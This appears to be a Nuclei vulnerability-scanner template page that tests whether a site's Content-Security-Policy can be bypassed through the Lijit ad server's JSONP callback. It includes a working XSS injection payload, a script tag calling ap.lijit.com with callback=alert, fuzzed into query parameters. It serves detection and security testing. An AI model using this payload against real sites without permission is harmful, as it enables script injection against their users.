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Content-Security-Policy Bypass - Lijit AP

ID: lijit-ap-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,lijit-ap

id: lijit-ap-csp-bypass
info:
name: Content-Security-Policy Bypass - Lijit AP
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,lijit-ap
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "lijit.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: lijit_ap_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://ap.lijit.com/rtb/bid?callback=alert&br={%22id%22:%221%22,%22site%22:{%22domain%22:%22x%22,%22page%22:%22x%22}}"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "lijit_ap_csp_xss == true"
# digest: 4a0a00473045022100d8adabab1a89a49c4582860007be04c265c9d85cec90da359983f0e7692d89ba02200954a88b8116fa1682343bb2ef47a5223fcf5bf8ef9c2ee1f22fc8d045162c17:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/lijit-ap-csp-bypass.yaml"

View on Github